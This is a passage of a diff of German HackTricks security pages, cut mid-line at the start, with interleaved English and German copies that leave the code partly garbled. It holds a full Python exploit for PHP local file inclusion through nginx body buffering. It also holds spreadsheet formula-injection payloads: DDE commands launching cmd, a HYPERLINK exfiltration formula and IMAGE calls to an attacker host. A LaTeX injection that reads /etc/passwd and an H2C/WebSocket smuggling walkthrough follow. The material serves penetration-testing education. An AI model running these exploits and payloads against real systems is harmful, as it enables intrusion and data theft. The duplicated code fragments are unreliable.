/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
|
||||
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 25. Dez 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 25. Dez 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 25. Dez 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 25. Dez 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 25. Dez 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 25. Dez 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 25. Dez 23:58 15 -> /var/lib/nginx/body/0000001368 (gelöscht) ... \`\`\` Hinweis: Man kann \`/proc/34/fd/15\` in diesem Beispiel nicht direkt einfügen, da die PHP-Funktion \`include\` den Pfad zu \`/var/lib/nginx/body/0000001368 (gelöscht)\` auflösen würde, der im Dateisystem nicht existiert. Diese kleine Einschränkung kann glücklicherweise durch etwas Indirektion umgangen werden, wie: \`/proc/self/fd/34/../../../34/fd/15\`, was schließlich den Inhalt der gelöschten \`/var/lib/nginx/body/0000001368\`-Datei ausführt. ## Vollständiger Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # Exploit PHP lokale Dateieinfügung (LFI) über Nginx's Client Body Buffering Unterstützung # siehe https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ für Details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # finde Nginx-Arbeitsprozesse r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] Nginx-Arbeiter gefunden: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # lade einen großen Client Body hoch, um Nginx zu zwingen, ein /var/lib/nginx/body/$X zu erstellen def uploader(): print('\[+] uploader startet') while not done: requests.get(URL, data=' //'
|
||||
```
|
||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||
except:
|
||||
pass
|
||||
```
|
||||
```python
|
||||
def send_payload_worker(requests_session): while True: send_payload(requests_session)
|
||||
|
||||
def send_payload_multiprocess(requests_session): # Verwenden Sie alle CPUs, um die Payload als Anforderungstext für Nginx zu senden for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start()
|
||||
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
|
||||
|
||||
def generate_random_path_prefix(nginx_pids): # Diese Methode erstellt einen Pfad aus einer zufälligen Anzahl von ProcFS-Pfadkomponenten. Ein generierter Pfad sieht aus wie /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
|
||||
def send\_payload\_multiprocess(requests\_session): # Use all CPUs to send the payload as request body for Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
|
||||
|
||||
def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # Flags sind im Format hxp{} if "hxp" in d: print("Flag gefunden! ") print(d)
|
||||
def generate\_random\_path\_prefix(nginx\_pids): # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
|
||||
|
||||
def read_file_worker(requests_session, nginx_pid, nginx_pids): # Scannen Sie Nginx FDs zwischen 10 - 45 in einer Schleife. Da Dateien und Sockets geschlossen werden - ist es sehr häufig, dass der Anforderungstext FD innerhalb dieses Bereichs geöffnet wird for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start()
|
||||
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d)
|
||||
|
||||
def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start()
|
||||
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
|
||||
|
||||
def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
|
||||
|
||||
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
|
||||
|
||||
if **name** == "**main**": print('\[DEBUG] Erstelle Anforderungs-Sitzung') requests_session = create_requests_session() print('\[DEBUG] Hole Nginx pids') nginx_pids = get_nginx_pids(requests_session) print(f'\[DEBUG] Nginx pids: {nginx_pids}') print('\[DEBUG] Starte das Senden der Payload') send_payload_multiprocess(requests_session) print('\[DEBUG] Starte die FD-Leser') read_file_multiprocess(requests_session, nginx_pids)
|
||||
```
|
||||
```
|
||||
|
||||
## Labs
|
||||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
||||
|
@ -70,31 +55,18 @@ if **name** == "**main**": print('\[DEBUG] Erstelle Anforderungs-Sitzung') reque
|
|||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
|
||||
|
||||
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
|
||||
|
||||
You can check their website and try their engine for **free** at:
|
||||
|
||||
<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
|
||||
|
|
|
@ -10,24 +10,16 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Formula Injection
|
||||
|
||||
### Info
|
||||
|
||||
Wenn dein **Eingang** in **CSV-Dateien** (oder in irgendeine andere Datei, die wahrscheinlich von **Excel** geöffnet wird) **reflektiert** wird, kannst du möglicherweise Excel **Formeln** einfügen, die **ausgeführt** werden, wenn der Benutzer **die Datei öffnet** oder wenn der Benutzer **auf einen Link** innerhalb des Excel-Blatts **klickt**.
|
||||
Wenn deine **Eingabe** in **CSV-Dateien** (oder in irgendeiner anderen Datei, die wahrscheinlich von **Excel** geöffnet wird) **reflektiert** wird, kannst du möglicherweise Excel **Formeln** einfügen, die **ausgeführt** werden, wenn der Benutzer **die Datei öffnet** oder wenn der Benutzer **auf einen Link** innerhalb des Excel-Blatts **klickt**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Heutzutage **warnt Excel** (mehrmals) den **Benutzer, wenn etwas von außerhalb von Excel geladen wird**, um ihn vor böswilligen Aktionen zu schützen. Daher muss ein besonderer Aufwand für Social Engineering auf die endgültige Payload angewendet werden.
|
||||
|
@ -44,11 +36,11 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
```
|
||||
### Hyperlink
|
||||
|
||||
**Das folgende Beispiel ist sehr nützlich, um Inhalte aus dem endgültigen Excel-Blatt zu exfiltrieren und um Anfragen an beliebige Orte durchzuführen. Es erfordert jedoch, dass der Benutzer auf den Link klickt (und die Warnmeldungen akzeptiert).**
|
||||
**Das folgende Beispiel ist sehr nützlich, um Inhalte aus dem endgültigen Excel-Dokument zu exfiltrieren und um Anfragen an beliebige Orte durchzuführen. Es erfordert jedoch, dass der Benutzer auf den Link klickt (und die Warnmeldungen akzeptiert).**
|
||||
|
||||
Das folgende Beispiel wurde von [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) entnommen.
|
||||
|
||||
Stellen Sie sich vor, ein Sicherheitsvorfall in einem System zur Verwaltung von Schülerdaten wird durch einen CSV-Injection-Angriff ausgenutzt. Die Hauptabsicht des Angreifers ist es, das System zu kompromittieren, das von Lehrern zur Verwaltung von Schülerdetails verwendet wird. Die Methode besteht darin, dass der Angreifer eine bösartige Nutzlast in die Anwendung injiziert, indem er schädliche Formeln in Felder eingibt, die für Schülerdetails vorgesehen sind. Der Angriff entfaltet sich wie folgt:
|
||||
Stellen Sie sich vor, ein Sicherheitsvorfall in einem System zur Verwaltung von Schülerdaten wird durch einen CSV-Injection-Angriff ausgenutzt. Die Hauptabsicht des Angreifers ist es, das System zu kompromittieren, das von Lehrern zur Verwaltung von Schülerdetails verwendet wird. Die Methode besteht darin, dass der Angreifer eine bösartige Nutzlast in die Anwendung injiziert, indem er schädliche Formeln in Felder eingibt, die für Schülerdetails vorgesehen sind. Der Angriff verläuft wie folgt:
|
||||
|
||||
1. **Injektion der bösartigen Nutzlast:**
|
||||
* Der Angreifer reicht ein Formular für Schülerdetails ein, enthält jedoch eine Formel, die häufig in Tabellenkalkulationen verwendet wird (z. B. `=HYPERLINK("<malicious_link>","Klicken Sie hier")`).
|
||||
|
@ -69,7 +61,7 @@ Stellen Sie sich vor, ein Sicherheitsvorfall in einem System zur Verwaltung von
|
|||
|
||||
In bestimmten Konfigurationen oder älteren Versionen von Excel kann eine Funktion namens Dynamic Data Exchange (DDE) ausgenutzt werden, um beliebige Befehle auszuführen. Um dies zu nutzen, müssen die folgenden Einstellungen aktiviert werden:
|
||||
|
||||
* Navigieren Sie zu Datei → Optionen → Vertrauensstellungscenter → Einstellungen für das Vertrauensstellungscenter → Externe Inhalte und aktivieren Sie **Dynamic Data Exchange Server Launch**.
|
||||
* Navigieren Sie zu Datei → Optionen → Trust Center → Trust Center-Einstellungen → Externer Inhalt und aktivieren Sie **Dynamic Data Exchange Server Launch**.
|
||||
|
||||
Wenn eine Tabelle mit der bösartigen Nutzlast geöffnet wird (und der Benutzer die Warnungen akzeptiert), wird die Nutzlast ausgeführt. Um beispielsweise die Taschenrechneranwendung zu starten, wäre die Nutzlast:
|
||||
```markdown
|
||||
|
@ -99,7 +91,7 @@ Google Sheets bietet Funktionen, die für OOB-Datenexfiltration ausgenutzt werde
|
|||
* **IMPORTRANGE**: Importiert einen Zellbereich aus einer anderen Tabelle - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
|
||||
* **IMAGE**: Fügt ein Bild in eine Zelle ein - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
|
||||
|
||||
## LaTeX Injection
|
||||
## LaTeX-Injection
|
||||
|
||||
Normalerweise verwenden die Server, die im Internet **LaTeX-Code in PDF** umwandeln, **`pdflatex`**.\
|
||||
Dieses Programm verwendet 3 Hauptattribute, um die Ausführung von Befehlen (nicht) zuzulassen:
|
||||
|
@ -112,7 +104,7 @@ Es gibt jedoch andere Möglichkeiten, Befehle auszuführen, daher ist es sehr wi
|
|||
|
||||
### Datei lesen <a href="#read-file" id="read-file"></a>
|
||||
|
||||
Möglicherweise müssen Sie die Injektion mit Wrappers wie \[ oder $ anpassen.
|
||||
Möglicherweise müssen Sie die Injection mit Wrappers wie \[ oder $ anpassen.
|
||||
```bash
|
||||
\input{/etc/passwd}
|
||||
\include{password} # load .tex file
|
||||
|
@ -198,23 +190,18 @@ Von [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|||
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||||
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,21 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### H2C Smuggling <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
#### HTTP2 Über Klartext (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
H2C, oder **http2 über Klartext**, weicht von der Norm transienter HTTP-Verbindungen ab, indem es eine standardmäßige HTTP-**Verbindung in eine persistente umwandelt**. Diese aktualisierte Verbindung nutzt das http2-Binärprotokoll für die fortlaufende Kommunikation, im Gegensatz zur Einzelanfrage-Natur von Klartext-HTTP.
|
||||
H2C, oder **http2 über Klartext**, weicht von der Norm der transienten HTTP-Verbindungen ab, indem es eine standardmäßige HTTP-**Verbindung zu einer persistenten** aufwertet. Diese aufgewertete Verbindung nutzt das http2-Binärprotokoll für die fortlaufende Kommunikation, im Gegensatz zur Einzelanfrage-Natur von Klartext-HTTP.
|
||||
|
||||
Der Kern des Smuggling-Problems ergibt sich aus der Verwendung eines **Reverse Proxys**. In der Regel verarbeitet der Reverse Proxy HTTP-Anfragen und leitet sie an das Backend weiter, wobei er die Antwort des Backends danach zurückgibt. Wenn jedoch der `Connection: Upgrade`-Header in einer HTTP-Anfrage vorhanden ist (häufig bei Websocket-Verbindungen zu sehen), hält der Reverse **Proxy eine persistente Verbindung** zwischen Client und Server aufrecht, was den kontinuierlichen Austausch ermöglicht, der von bestimmten Protokollen erforderlich ist. Für H2C-Verbindungen erfordert die Einhaltung des RFC das Vorhandensein von drei spezifischen Headern:
|
||||
Der Kern des Smuggling-Problems ergibt sich aus der Verwendung eines **Reverse Proxys**. Gewöhnlich verarbeitet der Reverse Proxy HTTP-Anfragen und leitet sie an das Backend weiter, wobei er die Antwort des Backends danach zurückgibt. Wenn jedoch der `Connection: Upgrade`-Header in einer HTTP-Anfrage vorhanden ist (häufig bei Websocket-Verbindungen zu sehen), hält der Reverse **Proxy eine persistente Verbindung** zwischen Client und Server aufrecht, was den kontinuierlichen Austausch ermöglicht, der von bestimmten Protokollen gefordert wird. Für H2C-Verbindungen erfordert die Einhaltung des RFC das Vorhandensein von drei spezifischen Headern:
|
||||
```
|
||||
Upgrade: h2c
|
||||
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
||||
|
@ -58,7 +50,7 @@ Im Gegensatz dazu leiten diese Dienste nicht inherent beide Header während des
|
|||
|
||||
#### Ausnutzung <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
Es ist wichtig zu beachten, dass nicht alle Server die für ein konformes H2C-Verbindungsupgrade erforderlichen Header inherent weiterleiten. Daher blockieren Server wie AWS ALB/CLB, NGINX und Apache Traffic Server unter anderem natürlich H2C-Verbindungen. Dennoch ist es sinnvoll, mit der nicht konformen `Connection: Upgrade`-Variante zu testen, die den `HTTP2-Settings`-Wert aus dem `Connection`-Header ausschließt, da einige Backends möglicherweise nicht den Standards entsprechen.
|
||||
Es ist wichtig zu beachten, dass nicht alle Server die für ein konformes H2C-Verbindungsupgrade erforderlichen Header inherent weiterleiten. Daher blockieren Server wie AWS ALB/CLB, NGINX und Apache Traffic Server unter anderem natürlich H2C-Verbindungen. Dennoch ist es wert, mit der nicht konformen `Connection: Upgrade`-Variante zu testen, die den `HTTP2-Settings`-Wert aus dem `Connection`-Header ausschließt, da einige Backends möglicherweise nicht den Standards entsprechen.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Unabhängig von dem spezifischen **Pfad**, der in der `proxy_pass`-URL angegeben ist (z.B. `http://backend:9999/socket.io`), wird die hergestellte Verbindung standardmäßig auf `http://backend:9999` gesetzt. Dies ermöglicht die Interaktion mit jedem Pfad innerhalb dieses internen Endpunkts, indem diese Technik genutzt wird. Folglich schränkt die Angabe eines Pfades in der `proxy_pass`-URL den Zugriff nicht ein.
|
||||
|
@ -89,7 +81,7 @@ Betroffene Reverse-Proxys sind Varnish, das sich weigerte, das Problem zu behebe
|
|||
Dieses Szenario umfasst ein Backend mit sowohl einer öffentlichen WebSocket-API als auch einer öffentlichen REST-API zur Gesundheitsüberprüfung, zusammen mit einer nicht zugänglichen internen REST-API. Der Angriff, der komplexer ist, umfasst die folgenden Schritte:
|
||||
|
||||
1. Der Client sendet eine POST-Anfrage, um die Gesundheitsüberprüfungs-API auszulösen, einschließlich eines zusätzlichen HTTP-Headers `Upgrade: websocket`. NGINX, das als Reverse-Proxy fungiert, interpretiert dies als eine Standard-Upgrade-Anfrage, die ausschließlich auf dem `Upgrade`-Header basiert, und übersieht die anderen Aspekte der Anfrage und leitet sie an das Backend weiter.
|
||||
2. Das Backend führt die Gesundheitsüberprüfungs-API aus und kontaktiert eine externe Ressource, die vom Angreifer kontrolliert wird und eine HTTP-Antwort mit dem Statuscode `101` zurückgibt. Diese Antwort, sobald sie vom Backend empfangen und an NGINX weitergeleitet wird, täuscht den Proxy darüber hinweg, dass eine WebSocket-Verbindung hergestellt wurde, da er nur den Statuscode validiert.
|
||||
2. Das Backend führt die Gesundheitsüberprüfungs-API aus und kontaktiert eine externe Ressource, die vom Angreifer kontrolliert wird und eine HTTP-Antwort mit dem Statuscode `101` zurückgibt. Diese Antwort, sobald sie vom Backend empfangen und an NGINX weitergeleitet wird, täuscht den Proxy darüber hinweg, dass eine WebSocket-Verbindung aufgrund seiner Validierung nur des Statuscodes hergestellt wurde.
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
|
||||
|
||||
|
@ -103,7 +95,7 @@ Die meisten Reverse-Proxys sind anfällig für dieses Szenario, aber die Ausnutz
|
|||
|
||||
#### Labs
|
||||
|
||||
Überprüfen Sie die Labs, um beide Szenarien zu testen unter [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||
Überprüfen Sie die Labs, um beide Szenarien zu testen in [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||
|
||||
### Referenzen
|
||||
|
||||
|
@ -112,12 +104,6 @@ Die meisten Reverse-Proxys sind anfällig für dieses Szenario, aber die Ausnutz
|
|||
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -128,7 +114,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
